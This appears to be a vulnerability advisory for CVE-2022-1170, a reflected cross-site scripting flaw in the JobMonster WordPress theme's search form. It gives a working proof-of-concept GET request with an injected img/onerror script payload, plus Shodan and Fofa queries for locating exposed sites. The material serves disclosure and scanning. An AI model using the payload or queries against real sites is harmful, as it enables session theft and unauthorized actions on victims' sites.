| Title | JobMonster < 4.5.2.9 - Cross-Site Scripting |
|---|---|
| Author | Akincibor,ritikchaddha |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via XSS in the search form, potentially stealing user session cookies or performing unauthorized actions. |
| Remediation | Upgrade to JobMonster theme version 4.5.2.9 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00931 |
| CVE ID | CVE-2022-1170 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/themes/noo-jobmonster |
| Fofa Query | body=/wp-content/themes/noo-jobmonster |
| Tags | cve cve2022 wpscan wp wp-theme wordpress xss jobmonster nootheme vuln |
In the theme JobMonster < 4.5.2.9 there is a XSS vulnerability as the input for the search form is provided through unsanitized GET requests.
GET /resumes/?s=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1170.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1170.pcap
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